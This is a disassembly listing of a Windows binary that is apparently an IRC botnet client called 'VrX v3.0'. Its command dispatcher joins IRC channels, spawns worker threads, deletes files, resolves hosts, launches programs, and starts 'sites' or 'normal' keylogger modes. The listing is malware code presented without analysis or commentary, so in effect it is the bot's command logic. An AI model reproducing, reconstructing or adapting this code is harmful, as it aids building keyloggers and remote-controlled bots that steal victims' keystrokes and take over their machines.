		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Fh
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_2098],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_221C]
		push	ebx
		push	eax
		push	offset sub_414F57
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_2098]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_40876E


loc_408758:				; CODE XREF: sub_401ACD+6C9Fj
		cmp	[ebp+var_208C],	ebx
		jnz	loc_40885A
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_408758
; ---------------------------------------------------------------------------


loc_40876E:				; CODE XREF: sub_401ACD+6C89j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42A368
		jmp	loc_40884B
; ---------------------------------------------------------------------------


loc_40877F:				; CODE XREF: sub_401ACD+48EBj
					; sub_401ACD+4902j
		push	7Fh
		lea	eax, [ebp+var_23AC]
		push	edi
		push	eax
		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_232C]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_22AC]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_2228],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_23B0],	esi
		push	[ebp+arg_18]
		mov	[ebp+var_2224],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_42A33C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	11h
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_222C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_23B0]
		push	ebx
		push	eax
		push	offset sub_414703
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_222C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_40883F


loc_40882D:				; CODE XREF: sub_401ACD+6D70j
		cmp	[ebp+var_2220],	ebx
		jnz	short loc_40885A
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_40882D
; ---------------------------------------------------------------------------


loc_40883F:				; CODE XREF: sub_401ACD+6D5Ej
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42A300


loc_40884B:				; CODE XREF: sub_401ACD+6CADj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40885A:				; CODE XREF: sub_401ACD+6C91j
					; sub_401ACD+6D66j
		cmp	[ebp+var_8], ebx
		jnz	loc_403FBE
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_403FB6
; ---------------------------------------------------------------------------


loc_40887A:				; CODE XREF: sub_401ACD+48BDj
					; sub_401ACD+48D4j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A2F8
		push	eax
		call	sub_41C266
		push	edi
		call	sub_41C159
		add	esp, 10h


loc_408897:				; CODE XREF: sub_401ACD+6E31j
		test	eax, eax
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644


loc_4088B1:				; CODE XREF: sub_401ACD+789Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A2F0
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E92C[eax]
		call	sub_409823
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_4088DA:				; CODE XREF: sub_401ACD+488Fj
					; sub_401ACD+48A6j
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		push	offset dword_42A2E4
		push	eax
		call	sub_41C266
		push	edi
		call	sub_41C159
		add	esp, 14h
		jmp	short loc_408897
; ---------------------------------------------------------------------------


loc_408900:				; CODE XREF: sub_401ACD+4861j
					; sub_401ACD+4878j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B89C
		push	eax
		call	sub_41C266
		push	edi
		call	sub_41C159
		add	esp, 10h
		test	eax, eax
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A2F0
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E92C[eax]
		call	sub_409823
		add	esp, 0Ch
		push	[ebp+arg_18]
		push	edi
		push	offset dword_42A2C8


loc_408967:				; CODE XREF: sub_401ACD+6F24j
					; sub_401ACD+6F92j ...
		call	sub_415DAC
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_408971:				; CODE XREF: sub_401ACD+4833j
					; sub_401ACD+484Aj
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4089A2
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A2C0
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_4089A2:				; CODE XREF: sub_401ACD+6EBEj
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A2F0
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E92C[eax]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42A2A4
		jmp	loc_408967
; ---------------------------------------------------------------------------


loc_4089F6:				; CODE XREF: sub_401ACD+4805j
					; sub_401ACD+481Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409644
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	esi
		push	offset dword_42A2F0
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E92C[eax]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42A288
		jmp	loc_408967
; ---------------------------------------------------------------------------


loc_408A64:				; CODE XREF: sub_401ACD+47D7j
					; sub_401ACD+47EEj
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409644
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	offset unk_42A260
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_408A9E:				; CODE XREF: sub_401ACD+47A9j
					; sub_401ACD+47C0j
		push	[ebp+var_8C]
		push	offset dword_42CCD0
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F75
		push	[ebp+arg_18]
		push	offset dword_42A254
		push	[ebp+arg_4]
		call	sub_409823
		push	edi
		call	sub_41C159
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	dword_427080	; Sleep
		push	[ebp+esi+var_84]
		push	[ebp+arg_18]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		push	offset dword_42A240
		call	sub_415D38
		jmp	loc_4034BF
; ---------------------------------------------------------------------------


loc_408B04:				; CODE XREF: sub_401ACD+477Bj
					; sub_401ACD+4792j
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		call	sub_41B9C0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409644
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A970
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h
		push	esi
		push	edi
		push	offset unk_42A224
		jmp	loc_408967
; ---------------------------------------------------------------------------


loc_408B6D:				; CODE XREF: sub_401ACD+474Dj
					; sub_401ACD+4764j
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		call	sub_41B9C0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409644
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		push	esi
		push	edi
		push	offset unk_42A208
		jmp	loc_408967
; ---------------------------------------------------------------------------


loc_408BBE:				; CODE XREF: sub_401ACD+471Fj
					; sub_401ACD+4736j
		cmp	[ebp+var_C], ebx
		jz	loc_401F75
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401F75
		push	eax
		push	edi
		call	sub_415C40
		pop	ecx
		pop	ecx
		push	edi
		push	offset unk_42A1EC
		jmp	loc_40723F
; ---------------------------------------------------------------------------


loc_408BF0:				; CODE XREF: sub_401ACD+46F1j
					; sub_401ACD+4708j
		push	[ebp+arg_18]
		push	edi
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418A2E


loc_408C05:				; CODE XREF: sub_401ACD+25ECj
		add	esp, 14h
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_408C0D:				; CODE XREF: sub_401ACD+46B1j
					; sub_401ACD+46C8j
		push	edi
		push	[ebp+arg_1C]
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409644
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	loc_408CB1
		push	esi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408C99
		push	esi
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A438
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	edi
		push	offset unk_42A1C8
		push	eax
		call	sub_41C266
		add	esp, 10h
		inc	[ebp+arg_24]
		jmp	loc_408699
; ---------------------------------------------------------------------------


loc_408C99:				; CODE XREF: sub_401ACD+7171j
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A198
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_408699
; ---------------------------------------------------------------------------


loc_408CB1:				; CODE XREF: sub_401ACD+715Cj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41B243
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A180
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 10h
		jmp	loc_408699
; ---------------------------------------------------------------------------


loc_408CFB:				; CODE XREF: sub_401ACD+4434j
					; sub_401ACD+444Bj
		push	edi
		push	23h
		push	offset aKeylog_0 ; "Keylog"
		push	offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active."


loc_408D08:				; CODE XREF: sub_401ACD+103Cj
					; sub_401ACD+108Fj ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B648
		add	esp, 20h
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_408D24:				; CODE XREF: sub_401ACD+4406j
					; sub_401ACD+441Dj
		push	23h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_408D3A
		push	offset aKeylogerAlread ; "Keyloger Already running."
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_408D3A:				; CODE XREF: sub_401ACD+7261j
		mov	eax, [ebp+arg_4]
		push	edi
		mov	[ebp+var_A98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A0C], eax
		mov	eax, [ebp+var_8]
		push	offset aWeb	; "web"
		mov	[ebp+var_A08], eax
		mov	[ebp+var_A10], ebx
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408DB9
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_A10], 1
		cmp	esi, ebx
		jnz	short loc_408D9D
		mov	esi, offset aF_0 ; "#f"
		push	offset byte_43DB98
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408D9D
		mov	esi, [ebp+var_88]


loc_408D9D:				; CODE XREF: sub_401ACD+72B2j
					; sub_401ACD+72C8j
		push	esi
		lea	eax, [ebp+var_A90]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		push	offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active."
		jmp	short loc_408E0F
; ---------------------------------------------------------------------------


loc_408DB9:				; CODE XREF: sub_401ACD+729Dj
		push	edi
		push	offset aNormal_0 ; "normal"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408E97
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_408DF5
		mov	esi, offset aF_0 ; "#f"
		push	offset byte_43DB98
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408DF5
		mov	esi, [ebp+var_88]


loc_408DF5:				; CODE XREF: sub_401ACD+730Aj
					; sub_401ACD+7320j
		push	esi
		lea	eax, [ebp+var_A90]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		push	offset aNormalKeyLogge ; "Normal key logger active."


loc_408E0F:				; CODE XREF: sub_401ACD+72EAj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	ebx
		push	23h
		push	eax
		call	sub_40B3BA
		add	esp, 0Ch
		mov	[ebp+var_A94], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A98]
		push	ebx
		push	eax
		push	offset sub_4126A7
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_A94]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_408E7A


loc_408E64:				; CODE XREF: sub_401ACD+73ABj
		cmp	[ebp+var_A04], ebx
		jnz	loc_4081AD
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_408E64
; ---------------------------------------------------------------------------


loc_408E7A:				; CODE XREF: sub_401ACD+7395j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset aFailedToStartL ; "Failed to start logging thread, error: "...


loc_408E86:				; CODE XREF: sub_401ACD+20F8j
					; sub_401ACD+2E94j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		jmp	loc_4081AA
; ---------------------------------------------------------------------------


loc_408E97:				; CODE XREF: sub_401ACD+72FBj
		push	offset aUnknowModeType ; "Unknow mode type."
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_408EA1:				; CODE XREF: sub_401ACD+4065j
					; sub_401ACD+407Cj
		push	offset aR	; "r"
		push	edi
		call	sub_41BEA2
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408F0D
		mov	ebx, 200h
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		call	sub_41C52F
		add	esp, 0Ch


loc_408ECA:				; CODE XREF: sub_401ACD+742Cj
		test	eax, eax
		jz	short loc_408EFB
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		call	sub_41C52F
		add	esp, 20h
		jmp	short loc_408ECA
; ---------------------------------------------------------------------------


loc_408EFB:				; CODE XREF: sub_401ACD+73FFj
		push	esi
		call	sub_41BA3B
		pop	ecx
		push	edi
		push	offset unk_42A0AC
		jmp	loc_409091
; ---------------------------------------------------------------------------


loc_408F0D:				; CODE XREF: sub_401ACD+73E5j
		push	edi
		push	offset unk_42A08C
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_408F18:				; CODE XREF: sub_401ACD+4037j
					; sub_401ACD+404Ej
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409644
		push	offset asc_42A088 ; "\n"
		push	esi
		call	sub_41C8A0
		push	esi
		call	sub_419F9D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_408F55
		push	offset unk_42A05C
		jmp	short loc_408FA2
; ---------------------------------------------------------------------------


loc_408F55:				; CODE XREF: sub_401ACD+747Fj
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A044
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_408699
; ---------------------------------------------------------------------------


loc_408F6F:				; CODE XREF: sub_401ACD+4009j
					; sub_401ACD+4020j
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409644
		push	eax
		call	sub_41875E
		test	eax, eax
		pop	ecx
		jnz	short loc_408F9D
		push	offset unk_42A024
		jmp	short loc_408FA2
; ---------------------------------------------------------------------------


loc_408F9D:				; CODE XREF: sub_401ACD+74C7j
		push	offset dword_42A008


loc_408FA2:				; CODE XREF: sub_401ACD+7486j
					; sub_401ACD+74CEj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_408678
; ---------------------------------------------------------------------------


loc_408FB5:				; CODE XREF: sub_401ACD+3FDBj
					; sub_401ACD+3FF2j
		push	7Fh
		lea	eax, [ebp+var_2084]
		push	edi
		push	eax
		call	sub_41BFD0
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_408FE4
		push	7Fh
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_408FE4:				; CODE XREF: sub_401ACD+7503j
		push	7Fh
		lea	eax, [ebp+var_1F84]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_2088],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1F00],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1EFC],	eax
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429FF0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ch
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_1F04],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2088]
		push	ebx
		push	eax
		push	offset sub_41B302
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_1F04]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_409085


loc_40906F:				; CODE XREF: sub_401ACD+75B6j
		cmp	[ebp+var_1EF8],	ebx
		jnz	loc_406C1F
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_40906F
; ---------------------------------------------------------------------------


loc_409085:				; CODE XREF: sub_401ACD+75A0j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_429FB0


loc_409091:				; CODE XREF: sub_401ACD+298Bj
					; sub_401ACD+743Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_406C1F
; ---------------------------------------------------------------------------


loc_4090A5:				; CODE XREF: sub_401ACD+3FADj
					; sub_401ACD+3FC4j
		push	ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	edi
		call	sub_41036B
		add	esp, 10h
		push	edi
		push	offset dword_429F98
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_4090C3:				; CODE XREF: sub_401ACD+3F7Fj
					; sub_401ACD+3F96j
		push	14h
		lea	eax, [ebp+var_1D4C]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_1D38]
		push	edi
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41C266
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1D54],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_1C34]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1BAC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1BA8],	eax
		lea	eax, [ebp+var_1C34]
		push	eax
		lea	eax, [ebp+var_1D38]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_429F74
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_1BB0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1D54]
		push	ebx
		push	eax
		push	offset sub_4161C1
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_1BB0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	loc_4023CA


loc_40918A:				; CODE XREF: sub_401ACD+76D1j
		cmp	[ebp+var_1BA4],	ebx
		jnz	loc_4082DE
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_40918A
; ---------------------------------------------------------------------------


loc_4091A0:				; CODE XREF: sub_401ACD+3F51j
					; sub_401ACD+3F68j
		push	edi
		call	dword_427088	; DeleteFileA
		test	eax, eax
		jz	short loc_4091C7
		push	edi
		push	offset dword_429F58
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		jmp	loc_40929A
; ---------------------------------------------------------------------------


loc_4091C7:				; CODE XREF: sub_401ACD+76DCj
		push	offset dword_42A5B0
		call	sub_418699
		pop	ecx
		push	eax
		jmp	loc_403EED
; ---------------------------------------------------------------------------


loc_4091D8:				; CODE XREF: sub_401ACD+3F23j
					; sub_401ACD+3F3Aj
		push	edi
		call	sub_41C159
		push	eax
		call	sub_419F16
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		cmp	eax, esi
		push	edi
		jnz	short loc_4091F5
		push	offset unk_429F34
		jmp	short loc_4091FA
; ---------------------------------------------------------------------------


loc_4091F5:				; CODE XREF: sub_401ACD+771Fj
		push	offset unk_429F04


loc_4091FA:				; CODE XREF: sub_401ACD+7726j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_406C22
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		jmp	loc_406C22
; ---------------------------------------------------------------------------


loc_409233:				; CODE XREF: sub_401ACD+3EF5j
					; sub_401ACD+3F0Cj
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_419C09
		add	esp, 18h
		cmp	eax, 1
		push	edi
		jnz	short loc_409255
		push	offset unk_429EE4
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_409255:				; CODE XREF: sub_401ACD+777Cj
		push	offset unk_429EB4
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_40925F:				; CODE XREF: sub_401ACD+3EC7j
					; sub_401ACD+3EDEj
		push	edi
		call	dword_4CBA24	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_2D8], eax
		jz	short loc_4092A2
		push	2
		lea	eax, [ebp+var_2D8]
		push	4
		push	eax
		call	dword_4CB99C	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_4092BD
		push	dword ptr [eax]


loc_409288:				; CODE XREF: sub_401ACD+77EEj
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_429E94
		push	eax
		call	sub_41C266


loc_40929A:				; CODE XREF: sub_401ACD+76F5j
		add	esp, 10h
		jmp	loc_406BFE
; ---------------------------------------------------------------------------


loc_4092A2:				; CODE XREF: sub_401ACD+77A2j
		push	edi
		call	dword_4CBA68	; gethostbyname
		cmp	eax, ebx
		jz	short loc_4092BD
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4CBA70	; inet_ntoa
		push	eax
		jmp	short loc_409288
; ---------------------------------------------------------------------------


loc_4092BD:				; CODE XREF: sub_401ACD+77B7j
					; sub_401ACD+77DEj
		push	offset unk_429E6C
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_4092C7:				; CODE XREF: sub_401ACD+3E99j
					; sub_401ACD+3EB0j
		push	7Fh
		push	edi
		push	[ebp+arg_14]
		call	sub_41BFD0
		add	esp, 0Ch
		push	edi
		push	offset unk_429E48
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_4092E0:				; CODE XREF: sub_401ACD+3E6Bj
					; sub_401ACD+3E82j
		push	5
		push	ebx
		push	ebx
		push	edi
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CB950
		test	eax, eax
		push	edi
		jz	short loc_409300
		push	offset unk_429E28
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_409300:				; CODE XREF: sub_401ACD+7827j
		push	offset unk_429E04
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_40930A:				; CODE XREF: sub_401ACD+3E3Dj
					; sub_401ACD+3E54j
		mov	al, [edi]
		mov	byte_429094, al
		movsx	eax, byte ptr [edi]
		push	eax
		push	offset unk_429DE0
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_40931F:				; CODE XREF: sub_401ACD+3E0Fj
					; sub_401ACD+3E26j
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40AE84
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B89C
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_4088B1
; ---------------------------------------------------------------------------


loc_40936D:				; CODE XREF: sub_401ACD+3DE1j
					; sub_401ACD+3DF8j
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_401F75
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_401F75
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E92C[eax]
		call	sub_409823
		pop	ecx
		pop	ecx
		push	1F4h
		call	dword_427080	; Sleep
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E92C[eax]
		call	dword_4CBA7C	; closesocket
		push	[ebp+var_10]
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E934[eax]
		call	dword_4270B4	; TerminateThread
		push	edi
		call	sub_41C159
		imul	eax, 234h
		push	edi
		mov	dword_43E934[eax], ebx
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_43E720[eax], bl
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_409418:				; CODE XREF: sub_401ACD+3DB3j
					; sub_401ACD+3DCAj
		push	edi
		push	offset aAll	; "all"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409447
		call	sub_40B583
		cmp	eax, ebx
		jle	short loc_40943D
		push	eax
		push	offset unk_429DB4
		jmp	loc_40723F
; ---------------------------------------------------------------------------


loc_40943D:				; CODE XREF: sub_401ACD+7963j
		push	offset unk_429D8C
		jmp	loc_403F8F
; ---------------------------------------------------------------------------


loc_409447:				; CODE XREF: sub_401ACD+795Aj
		mov	eax, [ebp+var_AC]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_401F75
		lea	eax, [ebp+edi*4+var_90]
		mov	[ebp+arg_24], eax


